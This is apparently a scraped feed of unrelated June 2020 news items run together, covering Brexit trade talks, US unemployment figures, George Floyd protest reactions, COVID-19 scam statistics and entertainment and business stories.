The Prime Ministers chief negotiator David Frost (left) had made a significant new offer to accept tariffs on a small number of goods in return for Brussels dropping its demand that Britain continue to follow EU rules. Pictured: With European Union chief Brexit negotiator Michel Barnier (right) at the start of the first round of post-Brexit trade deal talks between the EU and the United Kingdom on March 2

In a further sign of Mr Johnsons eagerness to strike a deal, sources said an earlier threat to walk away from the talks this month if no progress had been made has been relaxed in the light of the disruption caused by the pandemic.

Mr Johnsons decision to allow talks to go beyond June despite there being no deal in sight will be seen as a sign of his desire to get an agreement that avoids further economic problems at the end of this year.

Despite the tough language, there were also signs of movement on the EU side.

Mr Barnier hinted at a possible compromise over the EUs demand that the UK continue to follow its state aid regime, which has previously been a red line for the bloc.

Mr Frost is seeking to intensify negotiations in the coming weeks, including holding the first face-to-face talks since coronavirus struck.

The Prime Minister will try to inject political momentum into the stalled process this month by holding direct discussions with European Commission chief Ursula von der Leyen.

The talks have been disrupted by the pandemic, with two sides forced to conduct negotiations by video link.

Mr Frost yesterday said they were close to reaching the limits of what can be achieved remotely. He said there was now a need to intensify and accelerate our work.

A source declined to put a new deadline on the talks, but added: We are not up for a long negotiation over the next months well into the autumn where nobody knows what is going to happen.

October is too late for us to conclude this.

European Union chief Brexit negotiatorMr Barnier hinted at a possible compromise over the EUs demand that the UK continue to follow its state aid regime, which has previously been a red line for the bloc

The talks are deadlocked over the issues of fishing rights and the EUs demand for a level playing field. Mr Barnier accused the UK of failing to show any true will to negotiate on fishing.

But British sources said that Brussels had to recognise that the UK would take full control of its waters from the end of this year and would then decide who fishes there.

The UK has rejected the EUs demand for a detailed level playing field, arguing it goes far beyond the scope of a normal free trade agreement and would tie Britain into following the blocs laws indefinitely.

The idea to impose tariffs was not immediately welcomed by Brussels. We floated that, the official said. It fell slightly on stony ground at the moment but it is still in there in the discussions.

Obviously we would rather not go there but if it is what helps make progress, then we are willing to talk about that.

We will have to see if we get into those discussions and then see where it settles. We are not at that point yet.

Mr Barnier yesterday acknowledged the negotiations needed extra political momentum as the two sides remained very far from agreement in key areas.

He said the door is still open for the UK to extend the transition period beyond the end of this year, but this has been ruled out by No 10.

And he warned that failure to reach a deal would result in the imposition of a hard border on the island of Ireland, which both sides have pledged to avoid.
June 05 : World beauty and stunning actress Sushmita Sen is making her foray into acting once again with her debut digital series, Aarya, the official trailer of the same is out!

Sushmita Sen was last seen in Srijit Mukherji's Bengali film 'Nirbaak' in 2015, is making a comeback in a web series called 'Aarya' which will stream on Disney Plus Hotstar soon.

She dropped the trailer on her social media profile. She captioned it, AARYA OFFICIAL TRAILER

In the trailer Sushmita playing a doting mother and a wife who is forced to take up the murky business of illegal drugs and settle old scores when her husband is shot by a masked man. From the looks of the trailer, the series looks like a powerful story of redemption and of a woman's courage.

It also marks a comeback of sorts for actor Chandrachur Singh who plays Sushmita's husband in the series. The story is set in Rajasthan. The web series has been directed by Ram Madhvani.

The show also stars Sikandar Kher, Namit Das, Ankur Bhatia, Jayant Kripalani, Sohaila Kapoor, Sugandha Garg amongst others. The series is said to be a remake of Dutch series 'Penoza'.

The series streams from 19th June.
The aftermarket company calls it the Cullinan Overdose. Befitting of its name, the company has given the Cullinan a lot of treatment on the outside. Novitec has tweaked the engine as well to offer a lot more power than it does in the standard form. With its widebody kit and lowered ride height, does it look as exquisite as the standard Cullinan?

The Rolls-Royce Cullinan seems to be a favorite among tuners lately. A few months back, Mansory gave it a twist, and now Novitec has laid its hands on one example.

The Cullinan Is Now Even Wider

Novitec has chosen the white shade for this Cullinan build. Up front, there arent a lot of changes. It retains the standard shape and nothing has been meddled around with. However, the company has slapped the worlds most-luxurious SUV with a body kit that makes the front end wider by 3.9 inches and the rear end by 4.7 inches. Thanks to this, the SUV loses out on the boxy side look and seems more curved and rounded. The added width comes from the flared wheel arches.

This Cullinan Overdose rides on Vossen-built 24-inch, dual nine-spoke silver wheels with the Rolls-Royce caps on them. They are wrapped around 295/30 low-profile tires. For an SUV of this demeanor, the wheels look way too simple and plain. The Overdose also sits 1.6 inches lower than the standard Rolls-Royce. The side skirts here further add to the stuck-to-the-ground feeling. The rear wheel arches had to be done cleverly since the Cullinan features suicide doors and the rear doors open backward.

Novitec has installed a new exhaust system to this Overdose to bring more pizzazz out of the jacked-up engine. The rear bumper sits a tad bit lower to make the overall appearance look proportionate after equipping it with the wide body kit.

A ducktail spoiler along with the standard spoiler at the top round up the Cullinans rear. Surprisingly, there are no changes made to the cabin. To think of it, this is the most premium and luxurious SUV that you can get on the planet; so, theres nothing much you can do to make it feel any more special or plush.

What Are The Changes Under The Hood?

The Cullinan comes with a 6.75-liter, twin-turbocharged V-12 engine under the hood. In the standard form, it develops 563 ponies and 627 pound-feet of torque.

Novitec has pumped up the power significantly. It receives a bump of 122 horses and 118 pound-feet of torque, bringing the power figures to 685 horses and 745 pound-feet of twist.

This lets the SUV sprint to 62 mph in 4.9 seconds. Shmee covered this SUV in his video and went on a drive to the Autobahn. The Cullinan touched speeds over 135 mph with utmost ease while the cabin remained absolutely silent.

What Has Novitec Added To Increase The Oomph?

The power boost comes via a SPOFEC N-Tronic, a processor-controlled device that will be connected to the original engine management with the delivered Plug & Play wiring harness. The exhaust system is upgraded with a Power Optimized system that also features flap regulation. You can open the flaps manually and the grunt changes noticeably. Novitec has also installed a suspension control module that allows the air suspension to travel. This is kind of a necessity since the SUV sits quite low and could scrape its bottom on humps and speed breakers.

Final Thoughts

This isnt a limited-edition kit and Novitec hasnt capped the production to a particular number. Since you can customize it as per your needs, theres no price tag to the build as well. But, if the standard Cullinan isnt enough for you, this beast should do the trick, especially because of the extra oomph under the hood.

What are your thoughts on the Rolls-Royce Cullinan Overdose by Novitec? Share them with us in the comments section below.
Over 40 labourers stranded in undivided Dakshina Kannada district left for their native villages in Nepal.

Prior to the lockdown, labourers from Nepal were working in fast-food joints and hotels in Udupi and Dakshina Kannada districts. After the announcement of lockdown, they were stranded without work. As the days passed, all the money they had was spent.

Deepak Athikari, a native of Nepal, working in a fast-food stall in Padubidri came to the rescue of the stranded labourers by helping them to return to Nepal. During the lockdown period, Deepak helped 20 stranded labourers by providing food and providing accommodation in his rented house.

Later, he made arrangements for their travel to Nepal by raising funds from his friends in Nepal. As many as 20 labourers from Udupi were joined by 20 Nepali labourers from Mangaluru. Together with help from Deepak, they travelled on a bus to Nepal.
Nearly a third of Brits have fallen for a fraud scheme carried out via email. (Tim Goode/PA)

Opportunistic criminals are using COVID-19 to their advantage, having successfully scammed more than one in 10 Brits out of about 556 ($697) each  collectively costing the nation 3.6bn.

In a survey of 2,000 UK consumers, credit reference agency TransUnion found nearly a quarter (23%) have been targeted by digital fraud between March and May.

When expanding that to consider other types of fraud, 12% have succumbed to an attempt. The two most common methods are via email and over the phone, at 29% each, but the research showed a surprising 12% were carried out in person.

The types of scams Brits have been most affected by include donating money for personal protective equipment, known as PPE (18%), or to companies claiming to offer a cure for the virus (16%), as well as buying goods in short supply  such as toilet roll or hand sanitiser  that never turned up (16%).

READ MORE: Police issue warning over fake TV licensing scam emails

Across the nation, those aged 18 to 34 and living in major cities are most likely to fall victim, accounting for two-thirds of those believing a COVID-19 related scam and losing money as a result.

Men are almost twice as likely to be conned with a COVID-19 scam than women, accounting for 62% of victims.

Unfortunately, its common for scammers to exploit our fears during times of turmoil, such as a global pandemic. People can find it particularly difficult to spot fraud in a changing environment where were facing new and different situations, explained John Cannon, managing director of fraud and ID at TransUnion in the UK.

Were all dealing with a lot of change and its a particularly cruel type of fraudster who attempts to use it to their advantage. Its essential that people take extra care at this time and remain vigilant to fraudsters and some of their common tactics, such as phishing emails, fake websites and bogus texts.

READ MORE: Coronavirus  How to spot a work-from-home scam

He added: At a time when so much community spirit is evident, we must still be cautious of direct approaches from people we dont know with an offer of help.

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Despite the extent of COVID-19 related fraud, 75% have gone unreported, the findings show.

TransUnion is urging Brits to be scam-savvy and make the most of guidance available, such as the government-backed TakeFive scheme, as well as reporting the criminals by contacting the national reporting centre, Action Fraud.

Kelli Fielding, TransUnions managing director of consumer interactive in the UK added: Given the financial hardship that many are already facing, with three in five UK households negatively impacted, and many of those worrying about paying bills, people simply cant afford to lose out to the fraudsters.

READ MORE: Public urged to be vigilant over scam test and trace messages

The average amount being lost in scams is almost the same as the typical shortage for bills, so its easy to see the huge impact that fraud could have on a household  suddenly doubling that shortfall and making it really difficult to manage.

People need to be super cautious about this to protect themselves.

Trade union also offered some tips to help reduce the risk of fraud.

How to avoid becoming the victim of a fraud scheme
New Orleans City Council members largely sidestepped the New Orleans Police Departments use of tear gas on protesters Wednesday as they condemned racism and police brutality during a meeting Thursday.

The meeting came amid protests nationwide and in New Orleans over the killing of George Floyd in Minneapolis and the larger issues of racism and police abuses. The protests in New Orleans had been peaceful until Wednesday night when police shot tear gas canisters at demonstrators who had blocked the Crescent City Connection over the Mississippi River.

While hundreds of public comments submitted to the council urged the council to denounce the New Orleans Police Department, only Councilmen Jason Williams and Jay H. Banks mentioned the protest, and both said they did not know enough about what had occurred to cast blame.

It broke my heart to know that tear gas was used on the streets of New Orleans, Williams said. I do not know all the fact, and I will get all the facts, but I know its the job of law enforcement to deescalate. That is their job.

After hearing multiple comments from residents who noted that while tear gas can be used domestically, it is banned in warfare, Banks committed to pursuing a law that would prohibit its use in the city. Williams agreed to support that move.

But Banks said he did not know yet what had happened on the bridge Wednesday night and suggested that knuckleheads may have instigated a confrontation that victimized both protesters and police by setting off the confrontation.

I do not yet have the information about what happened last night on the bridge, but I will never stand for the abuse of power anywhere, Banks said in an interview. And I am waiting to get the information as to exactly what happened last night, and then well figure out where the fault and blame lies when we have that information.

ACLU of Louisiana calls police use of tear gas on protesters unlawful 'chemical warfare' The ACLU of Louisiana on Thursday condemned the actions of the New Orleans Police Department after officers Wednesday night shot tear gas into

NOPD Superintendent Shaun Ferguson said Thursday his officers used gas to clear the bridge after some protesters tried to break through a line of police in riot gear blocking the crossing to the west bank. Nearly all the protesters on the bridge were peaceful.

During Thursdays meeting, the council unanimously adopted a resolution expressing solidarity with peaceful protesters. In a change announced at the start of the meeting, they removed language commending all law enforcement officers who are partners with and not abusers of the communities they serve and replaced it with a line committing to pursuing reforms aimed at addressing the disparities, stressors, and abuses that place black and brown residents at greater risk of harm.

+12 NOPD chief says cops used tear gas after protesters made it clear they wanted confrontation After a chaotic night, New Orleans Police Department Superintendent Shaun Ferguson on Thursday showed reporters two videos he said proves poli

Too many martyrs have lost their lives unjustly, Williams said. Our collective humanity is questioned when we see our sisters and brothers killed with impunity.

Banks read off the names of dozens of black people who had been killed by police in recent years before expressing hope the recent protests could bring about change.

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We do not need to experience this anymore, he said. This should be the last one. This resolution should not have to happen ever again. Im praying and hoping and wishing Im begging that we dont have to do this again.

Councilman Jared Brossett said he also hoped this would be a moment of everlasting change in America.

Black lives in New Orleans, around this country, around this state, for generations have been victimized, and we must act and see an end to it, he said. We must break down the barriers of hate and discrimination against black lives.

Councilwoman Cyndi Nguyen said it was difficult to watch the video of Floyds death, and she struggled to explain it to her son.

Many of our black communities have been suffering for so long, and we need to make sure we focus on the issues and come together, she said.

+10 New Orleans protests escalate and 'stampede' erupts as NOPD fires tear gas into crowd New Orleans police used tear gas to disperse a crowd of protesters attempting to cross the Crescent City Connection Wednesday night after what

Councilwoman Kristin Gisleson Palmer noted that the effects of generational and systemic racism were felt not just in the polices treatment of black residents but in the unprecedented levels of inequality they face.

I really believe that we must commit, and must commit strongly, to be better, Palmer said. We must make equity part of our value system and everything that we do.

Councilman Joe Giarrusso said it is important to have a government that "works for everbody," warning that to do otherwise would be to follow the path of the Nazis in weaponizing the state against its citizens.

"This is an inflection point for all of us who have a voice because of elected office to stand together in uniformity and solidarity to say something is right and something is wrong," he said.

Councilwoman Helena Moreno said change must come not just through protests, but in changing how all people act in their daily lives to combat systemic racism.

"For those who say I dont want to get into this controversy or this is just not my fight, I say this: this is all of our fight," she said.
(Bloomberg Opinion) -- What pushed former Defense Secretary James Mattis over the edge, to denounce President Donald Trump, in the strongest possible terms?

Only the former general knows for sure, but a clue is provided by the title of his statement: In Union There Is Strength.

Another clue is provided by the most important words in his text: Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead he tries to divide us.

With those words, Mattis is signaling a national challenge that goes back to the founding era, that almost derailed the American project from the very start, that helped start the Civil War, and that has had to be managed with great care during every national crisis.

Shortly after the American Revolution, the new nation was at grave risk of falling apart. To many people, diverse affiliations and identities made it difficult to speak of the United States of America. Under the Articles of Confederation, intense loyalty to states, and competition among states, seemed to outstrip loyalty to the nation. Prominent politicians fueled the divisions.

The Constitution was designed to solve that problem. You can see what its framers had in mind if you look an early draft of the document.

It began: We the People of the States of New Hampshire, Massachusetts, Rhode Island and Providence Plantations, Connecticut, New York, and so forth, do ordain, declare, and establish the following Constitution.

The final version has a radically different start: We the People of the United States, in Order to form a more perfect Union . . .

The early draft suggests that the Constitution is created by the states; it sees We the People as citizens of their states, first and foremost. The final text emphasizes national citizenship. And rather than going directly from We the People to the act of establishing the Constitution, it declares the purposes of that act  and gives pride of place to the formation of a more perfect Union.

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That project was designed to overcome disparate allegiances, interests and ideologies, producing factions, which James Madison regarded as an omnipresent threat. More specifically, the institution of slavery was a moral as well as practical threat to the existence of that more perfect union  and of course its legacy is at the heart of some of our divisions today.

Mattiss concrete concern is what he sees as the misuse of the military to maintain public order. As he understands it, that task rests with civilian state and local leaders who best understand their communities and are answerable to them. In his view, our response to protests should not be militarized.

The power of Mattiss text lies in linking that claim with the broader idea of national unity. If the military is deployed too readily, we will see a conflict  a false conflict  between the military and civilian society. That is dangerous; it is what we see in authoritarian societies.

Mattis views a conflict between the military and civilian society, concocted during a series of protests over racial injustice, as distinctly threatening to national unity. There is a reason that, by tradition, the military is nonpartisan. Whether generals or captains or privates, soldiers protect the American people, not a party or a politician.

Mattis refers explicitly to the Constitution. But Madison himself was deeply concerned about the potential weakness of parchment barriers, used to protect against the encroaching spirit of power. In 1788, Madison asked: Is there no virtue among us? If there be not, we are in a wretched situation. No theoretical checks  no form of government can render us secure.

The very project of self-government depends on a shared understanding that, for all of our divisions, Americans are engaged in a common enterprise  and that national leaders are committed, above everything else (including their own self-interest), to that enterprise. When the president does not share that commitment, we are in a wretched situation.Mattis is aiming to get us out of it. Who will join him?

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Cass R. Sunstein is a Bloomberg Opinion columnist. He is the author of The Cost-Benefit Revolution and a co-author of Nudge: Improving Decisions About Health, Wealth and Happiness.

For more articles like this, please visit us at bloomberg.com/opinion

Subscribe now to stay ahead with the most trusted business news source.

2020 Bloomberg L.P.
Who is Scobo and what was he trying to do? Someone who goes by that name on Facebook recently invited people to a gun-rights rally at the Pennsylvania Capitol on Monday. He also invited people to a rally dedicated to George Floyd at exactly the same time and place.

People were immediately skeptical about who would invite people to rallies of groups that could potentially clash.

The McClatchy news organization has shed some light on the mystery, reporting Friday that the username Scobo seems to be tied to a group of mostly young males who are anti-police and anti-gun.

The gun-rights rally was an actual event that had been scheduled well before the death of George Floyd, who died after a Minneapolis police officer kneeled on his neck for nearly nine minutes during an arrest.

Organizers have canceled that rally, according to McClatchy. Its unclear whether a George Floyd-related rally is planned for Monday.

Meanwhile, state officials have warned people who work at the Capitol Complex of possible protests on Monday. They hadnt publicly said as of Friday afternoon who is expected to protest.
The Cocoa Marketing Company Ghana Limited (CMC), a subsidiary of the Ghana Cocoa Board, has donated assorted items to the Tema West Municipal Assembly (TWMA) to assist in the fight against the Covid-19 pandemic.



The Items comprised of 135 Veronica buckets, 60 gallons of alcohol based hand sanitizers, 100 gallons of anti-bacteria liquid soaps and a cheque for GHC 10, 000.



The donation formed part of the companys Corporate Social Responsibility (CSR) to the Municipality.



In implementing government's protocols and directives to contain the spread of the virus, the company had put in proactive steps such as ensuring a healthy workforce and safe environment for staff and clients at its Gyata Bu Warehouse Complex in Tema West.



Making the presentation at a brief ceremony at the premises of the Assembly, in the presence of the some board members and officials of the company, Mr Joseph Kobina Esibu, Board Chairman, said the presentation of the items had become critical and necessary in the fight against the virus as it had become rather prevalent.



He indicated that as part of its commitment to the Municipality and its host community, the company found it pertinent to contribute significantly to the Municipalitys fight against the pandemic.



The impact of the virus, he said, had adversely affected the countrys economy, adding that the provision of the items would go a long way to help prevent the spread of the virus and ultimately to mitigate its adverse effects.



Mr Vincent Okyere Akomeah, Managing Director, Cocoa Marketing Company Limited speaking in an interview with the Ghana News Agency (GNA), said the company was responsible for marketing, sales and promotion of Ghana's cocoa in the international market and to local processing companies in the country.



Mrs Adwoa Amoako, Municipal Chief Executive, Tema West Municipal Assembly, expressed appreciation to the company and said the items and cash would be put to good use.



She noted that even though the pandemic had affected the assembly in diverse ways, it had not reneged on its core mandate in the delivery of the health services and the overall development of local communities.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Major Oil Marketers Association of Nigeria (MOMAN), on Thursday said marketers lost over N10 billion due to reduction of petrol pump price from N145 per litre to N121 by government.

The Chairman of MOMAN, Adetunji Oyebanji, made the disclosure during a webinar on Downstream Petroleum Market Deregulation: Prospective Impact on Nigeria Economy Post COVID-19.

The News Agency of Nigeria (NAN) reports that the webinar was organised by Financial Energy Review in collaboration with Leadgrid Series.

Mr Oyebanji, who is also the Managing Director of 11Plc, said the petroleum downstream sector was hard hit by the twin challenges of COVID-19 and crash in global crude oil prices.

He said the sector thrived on movement of persons and goods which were severely curtailed due to the lockdown measures put in place by the Federal and State Governments to contain the spread of coronavirus.

The chairman called for the full deregulation of the petroleum downstream sector, adding that what government recently did was only to remove subsidy on Premium Motoring Spirit (PMS) also called petrol.

Mr Oyebanji said: Why we talk about complete deregulation being a better option is because we need investments in our pipelines distribution network which are very old.

We need our refineries to be put in place and Dangote Refinery is coming up but we need more refineries so that we can reduce the pressure on our foreign exchange reserve.

Players in the market need to know when to stock and when not to stock products because we may have lost up to N10 billion when those prices were reduced recently.

That doesnt encourage investors, the MOMAN chairman said.

He noted that the billions of naira being spent on fuel subsidy by government could be deployed to other critical areas which would help transform Nigerias economy.

He named the critical areas to include health care, education and infrastructure development.

The MOMAN chairman said: While we welcome the removal of subsidy on fuel, we need clarity on governments claim that the market has been deregulated.

Many of the institutions supporting the former regime such as the Petroleum Equalisation Fund, Petroleum Subsidy Fund and the Petroleum Products Pricing Regulatory Agency are still operational.

So there is a bit of confusion whether we have fully deregulated the sector or whether government just decided that they wont pay subsidy anymore, he said.

Mr Oyebanji said there should be proper legislative framework to guide the deregulation of the downstream sector and protect the interest of the country and private investors.

He added that for the sector to achieve its potentials, government must switch to a monitoring role instead of being a key player and regulator at the same time.

(NAN)
The U.S. unemployment rate dropped to 13.3% in May, slightly below the April high of 14.7%, according to data released Friday by the U.S. Bureau of Labor Statistics.

Employers added 2.5 million jobs last month as economic activity slowly resumes and coronavirus pandemic restrictions ease.

PHOTO: A woman checks job application information in front of Illinois Department of Employment Security)/WorkNet center in Arlington Heights, Ill., April 9, 2020. (Nam Y. Huh/AP, FILE)

The numbers represent a much more optimistic view for the economy moving forward. President Donald Trump tweeted after the report was released, writing, "Really Big Jobs Report. Great going President Trump (kidding but true)!"

MORE: 1.9 million more Americans filed for unemployment, bringing pandemic total to over 42 million

While the unemployment figures may be lower than expected, economists warn they are still at devastating highs.

"Although todays report feels like a relief for many, it's important to remember the labor market still faces an unemployment rate at the highest level since the Great Depression with tens of millions of Americans still out of work," Glassdoor senior economist Daniel Zhao said in a commentary Friday morning. "While the labor market may be on the path to recovery, there is still a long way to go until the labor market returns to pre-crisis levels and makes up for lost growth."

Chris Zaccarelli, the chief investment officer for Independent Advisor Alliance, called the jobs numbers "shocking" and "for the first time this year it was a positive shock."

"At 13.3%, we are still at a higher rate than any that we hit during the Financial Crisis in 2007-2009, but as long as that continues to move lower, it will show that the re-opening of the economy is proceeding smoothly," he added.

Some of the most notable job gains in May occurred in leisure and hospitality, construction and retail trade as those sectors begin to reopen.

"These improvements in the labor market reflected a limited resumption of economic activity that had been curtailed in March and April due to the coronavirus (COVID-19) pandemic and efforts to contain it," the government said in its news release Friday.

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The leisure and hospitality sector saw an increase of 1.2 million jobs in May after losses of 7.5 million jobs in April. Food and drinking places gained 1.4 million jobs last month after losing more than 6 million jobs in March and April combined.

Employment in construction increased by 464,000 in May, gaining back almost half of the jobs lost in April. Meanwhile, employment in retail rose by 368,000 last month but lost more than 2 million jobs in April.

The accommodation industry, however, lost 148,000 jobs last month and 1.1 million jobs in total since February.

Some economists are still taking a more measured outlook on the economy.

"As the economy reopens a lot of the jobs aren't going to come back right away. A lot of people are still trying to figure out ... how do they operate it safely and in compliance," Karen Kimbrough, the chief economist at LinkedIn, told ABC News. "And they may not need as many people or they may need different types of people."

Jasmine Wright, a small business owner from Akron, Ohio, who was able to reopen her clothing boutique last Friday, said sales are still down despite reopening.

"COVID has affected my business with a lot of sale," Wright told ABC News. "I went from being open every day into just not being able to open at all not being able to engage with my customers."

In February, prior to the health crisis, the unemployment rate was at a historic low of 3.5%.

ABC News' Taylor Dunn contributed to this report.

US unemployment rate fell slightly to 13.3% in May originally appeared on abcnews.go.com
It is wrong and dangerous for China to benefit from US capital markets without complying with critical protections that investors rightfully deserve, President Donald Trump said on Thursday as he issued a memorandum to protect American investors from Chinese companies.

For decades, Chinese companies have availed themselves of the benefits of US financial markets, and capital raised in the US has helped fuel China's rapid economic growth, Trump said.

The memorandum was issued to Secretary of State Mike Pompeo and other members of the top national security leadership.

While China reaps advantages from US markets, the Chinese government has consistently prevented Chinese companies and companies with significant operations in China from abiding by the investor protections that apply to all companies listing on US stock exchanges, Trump alleged.

"It is both wrong and dangerous for China to benefit from our capital markets without complying with critical protections that investors in those markets rightfully expect and deserve," he said.

"China's actions to thwart our transparency laws raise significant risks for investors. The time has come to take firm action in an orderly fashion to put an end to the practice that has tacitly permitted companies with significant Chinese operations to flout protections United States law requires for investors in United States markets," Trump said.

The president said for example, the Chinese government refuses to allow audit firms registered with the Public Company Accounting Oversight Board (PCAOB) to provide audit working papers to the board.

Recently, the Chinese government enacted a statute that expressly prevents audit firms from providing this information without prior consent of Chinese financial regulators, he said.

Preventing the PCAOB from complying with its statutory mandate means that investors cannot have confidence in the financial reports of audited companies and this creates significant risks to investors in the securities listed on US stock exchanges, Trump said.

The Securities and Exchange Commission (SEC) and the PCAOB have pressed China for years to allow companies to provide greater transparency in financial information, to no avail, he rued.

Concerns about China's efforts to thwart transparency requirements suggest significant risks even for investors in Chinese companies listed on US stock exchanges, the president said. Such companies may not provide appropriate and safe investments for investors, including pension funds, which owe fiduciary duties to their beneficiaries, Trump said.

"For these reasons, we must take firm, orderly action to end the Chinese practice of flouting American transparency requirements without negatively affecting American investors and financial markets.

"We must ensure that laws providing protections for investors in American financial markets are fully enforced for companies listed on United States stock exchanges," he said.

In his memorandum, Trump asked the treasury secretary to convene the President's Working Group on Financial Markets.

The group will discuss the risks to investors and financial markets posed by the Chinese government's alleged failure to uphold its international commitments to transparency and accountability and its refusal to permit companies to comply with US law, according to the memorandum.

The group has been asked to submit its memorandum in the next 60 days.
Weve now seen that we cant have a conversation on race except within our separate bubble groups and maybe a bit around the edges between factions.

Next up: Can we have a conversation about the reactions to the failed conversations on race? Maybe, and for starters we can look at the tweet by Sen. Will Haskell on Wednesday night, about boarded up stores in his town of Westport.

Haskell, a Democrat elected in 2018 to represent seven rich, white towns  one whiter than the next  took Lululemon and Tiffany & Co. to task for hammering plywood across their storefronts ahead of a peaceful rally in support of justice for people of color.

Hey @lululemon and @TiffanyAndCo, this is not productive. Our community is engaging in an honest, overdue and peaceful conversation about race... and this is how youve responded. Please do better, and maybe join the conversation to see for yourself.

Haskell sustained withering criticism over the tweet, some from our pals on the right, including Carol Platt Liebau, the first to weigh in: What also is not productive is an atmosphere in which any law abiding citizen or business fears s/he or it will not be protected from lawless violence. Why should they be shamed for that?

Many were unrepeatable on a family website, as we used to say.

Haskell didnt back off when I talked with him late Thursday. He told me he was surprised not by the criticism but by its ferocity. I knew that people were feeling uncomfortable, I didnt know that my tweet would incite so much anger.

Hes seeing, were seeing, a slice of the whole national standoff over the killing of George Floyd at the knee of a Minneapolis cop; the deaths of a large proportion of African Americans in the coronavirus crisis; oh, and over 400 years of racial shame and dysfunction in the colonies that became the greatest empire ever.

Every comment on both sides blows out of proportion. The issue isnt the underlying question of justice but rather the movement. Thats not what Id call a conversation except on the sorts of scripted reality shows that manufactured the most divisive president in American history.

Still, even though we cant have a real conversation about race, we can pull apart this flap over national chains boarding up stores  and thats who it is in Greenwich, West Hartford and Westport. All sides have something to say thats worth hearing.

Haskell rapidly listed a dozen protests hes attended in his town, from global politics to gun violence to local issues. None turned violent, none led to looting.

Now, suddenly theyre concerned about theft of their property? he asked. It does an injustice to the movement and it only promotes fear and misunderstanding....Theres just no evidence that its happening here.

Lululemon reopened on Thursday, perhaps shamed, perhaps as planned; the company doesnt have a media relations office and didnt respond to an email to its general inbox. But the Vancouver, British Columbia company posted on its website a statement that said, in part, We will use our platform to stand for social justice, equity and inclusion...We will no longer rely on people of color to do the work for us and educate us on what to do; we will educate ourselves.

Good on Lululemon for conceding its pretty much a white company in need of some broadening.

Tiffany & Co., which also didnt respond to an email late Thursday, remained boarded up in Westport along with at least three others, according to my colleague Paul Schott, who was on the scene: Lucky Brand, Peloton and Sunglass Hut.

Haskell cuts right to the core: Is there any real chance of violence and looting in genteel Connecticut towns? Hes right about the extreme unlikelihood. I was shocked to see my local Whole Foods in West Hartford make the same move; its ridiculous, really, in a town where the Quakers own the local protest franchise.

Seems to me that looting happens in rich commercial sections of giant cities, like SoHo in New York and Beverly Hills in Los Angeles; and in places made into battlegrounds by a catalyst, like Ferguson, Mo., or Minneapolis this week. Can it happen in Westport and Greenwich? Sure, but its an extreme longshot.

Then again, Haskell winning a seat as a state Senator at age 22 was a longshot, and Haskells critics went all out calling him a snotnosed punk, noting that these companies have a right to defend themselves in tense times.

Thats the key. Lots of people want to turn the protests into the issue, calling these protesters dangerous. Thats missing, or worse, clouding, the point -- that the justice protesters are different from the looters, who are far-left extremists, anarchists, nihilists and rowdy swine.

President Donald Trump knows that if he brings the nation together for justice and peace against looters and violent cops, he loses in November. His base is about red meat. He needs to portray the whole justice movement as dangerous.

Why else would he hit a peaceful, legally assemled crowd with mace and rubber bullets so he could wave a Bible at a church that didnt want or invite him? Why else would he try to send the military into states that dont want or need it? Thats setting the tone, leading companies like Lululemon and Tiffany to board up in places unlikely to see problems.

Haskell doesnt claim to have the answers and deferred to leaders of color. As he headed to another rally in another of his rich, white towns, he said, I am really trying to take a back seat in the movement. It is time for legislators that look like me who represent districts that look like mine to finally start to listen.

As the Lululemon website said, We're listening and learning.

Its still not a conversation about race but its getting closer.

dhaar@hearstmediact.com
In India, some people have been given a status of god men by the crowd and these gurus are followed by millions of people. Though many of them profess health, well-being, and spirituality and still have managed to make headlines due to huge controversies entangling them. Heres a list of Indias most controversial gurus and reasons that they have been making headlines.

1. Gurmeet Ram Rahim Singh

Guru Ram Rahim is the leader of Dera Sacha Sauda and was given a 20-year long sentence in 2017 after being accused of raping his female followers. Not only this, he was also convicted for the murder of a journalist.



A newspaper editor named Ram Chander Chhatrapati was shot dead after he tried to expose the wrongful activities that were taking place inside the headquarters of the Dera in Sirsa.

2. Asaram Bapu

People used to follow him blindly and he was later convicted for raping a 16-year old girl at his ashram in Jodhpur. The godman kept on claiming that the teenager was her daughter and he was innocent.



He also made bizarre comments about the December 16 Delhi gang-rape incident. He said that the victim was also equally responsible for the crime.

3. Swami Nityananda

In 2010, Sun TV broadcasted a sex tape that showcased Nityananda and two others, including an actress. He later claimed that the tape was fabricated. He has also been accused of raping a disciple for a period of over five years amid her stay in his ashram.

4. Rajneesh or Osho

He was considered one of the most controversial spiritual leaders who had a more open attitude towards sexuality and which later earned him the sobriquet of sex guru. Osho always voiced his opinions openly about socialism and criticized Mahatma Gandhi and institutionalized religion. He also discouraged the concept of marriage and having children and many of his followers in Oregon and England accepted contraception, sterilization, and abortion to not have children.

5. Nirmal Baba

He was accused of cheating and fraud. Many FIRs were filed against him saying that he is trying to create fear of religion amongst people and his acts were promoting superstition.
Walt Disney Television/Lorenzo BevilaquaAdd Marshmello to the list of stars who've provided receipts online showing the amount of money they've donated to the cause of social justice.

"Ive always remained neutral with my platform but just like you underneath this costume i am human and this is my tipping point," the superstar DJ wrote on his socials. "Black culture and influence play a big part in the music i make...Racism should never be tolerated and it is up to our generation to be the change, especially in times when our government can't unite us."



"It is up to us to bring justice for George Floyd and the countless others who lost their lives, and ultimately bring this hateful racist complex crumbling to the ground," the helmeted star adds. "If you are a real fan of mine you will do your part to stand up and join us."

He also posted a PayPal screenshot that reads, "You sent $50,000 to NAACP Legal Defense and Educational Fund."

"I stand with you and encourage others with means to contribute ANYTHING they can to worthy causes that support," he captioned the post.

Marshmello's latest release is his collab with Halsey, "Be Kind."

ive always remained neutral with my platform but just like you underneath this costume i am human and this is my tipping point...  marshmello (@marshmellomusic) May 31, 2020



By Andrea Dresdale

Copyright  2020, ABC Audio. All rights reserved.


OTTAWA  The federal Liberals seem to agree with a tribunal's call to compensate the family of a Manitoba boy whose 2005 death changed how governments are supposed to treat Indigenous children.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

OTTAWA  The federal Liberals seem to agree with a tribunal's call to compensate the family of a Manitoba boy whose 2005 death changed how governments are supposed to treat Indigenous children.

Jordan River Andersons death sparked a legal principle of fairness for First Nations children that is the basis of an ongoing Canadian Human Rights Tribunal case on discriminatory underfunding of foster care.

